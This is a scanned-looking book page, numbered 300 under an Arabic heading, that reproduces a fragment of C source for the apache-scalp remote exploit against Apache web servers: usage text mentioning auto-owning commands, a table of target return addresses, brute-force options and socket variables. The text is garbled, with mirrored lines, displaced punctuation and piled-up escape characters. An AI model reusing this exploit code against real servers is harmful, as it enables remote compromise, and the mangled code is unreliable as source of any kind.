Page 300 - بسم الله الرحمن الرحيم
P. 300

;("\\\replies\\\\n
                                     ;("\\\printf(\\\" \\\\t\\\\t\\\\taka auto0wncmdz\\\\n
    printf(\\\"\\\\nExamples will be published in upcoming apache-scalp-

                                                                         ;("\\\HOWTO.pdf\\\\n
  ;("\\\printf(\\\"\\\\n--- --- - Potential targets list - --- ---- ------- ------------\\\\n

                       ;("\\\printf(\\\" ID / Return addr / Target specification\\\\n
                                    (++for(i = 0; i < sizeof(targets)/sizeof(victim); i

;(printf(\\\"% 3d / 0x%.8lx / %s\\\\n\\\", i, targets[i].retaddr, targets[i].type

                                                                                           ;(exit(1
                                                                                                    {

                                                        } ([]int main(int argc, char *argv
                                  ;char *hostp, *portp, *cmdz = DEFAULT_CMDZ

                                                            ;u_char buf[512], *expbuf, *p
                                                                           ;int i, j, lport, sock

                                ;int bruteforce, owned, progress, sc_timeout = 5
                                                     ;int responses, shown_length = 0
                                                                             ;struct in_addr ia
                                                           ;struct sockaddr_in sin, from
                                                                          ;struct hostent *he

                                                                                      (if(argc < 4
                                                                                         ;()usage

                                                                                ;bruteforce = 0
                                                   ;((memset(&victim, 0, sizeof(victim
                 } (while((i = getopt(argc, argv, \\\"t:b:d:h:w:c:r:z:o:\\\")) != -1

                                                                                       } (switch(i
                                                                            /* required stuff */

                                                                                      :'\\case \\'h
                                                          ;("\\\:"\\\ ,hostp = strtok(optarg
                                          (if((portp = strtok(NULL, \\\":\\\")) == NULL

                                                                              ;"\\\portp = \\\"80
                                                                                            ;break

                                                                     /* predefined targets */
                                                                                       :'\\case \\'t

                                } ((if(atoi(optarg) >= sizeof(targets)/sizeof(victim
                                                          ;("\\\printf(\\\"Invalid target\\\\n
                                                                                        ;return -1
                                                                                                    {

                     ;((memcpy(&victim, &targets[atoi(optarg)], sizeof(victim
                                                                                            ;break

                                                                                /* !bruteforce */
                                                                                      :'\\case \\'b

                                               300
   295   296   297   298   299   300   301   302   303   304   305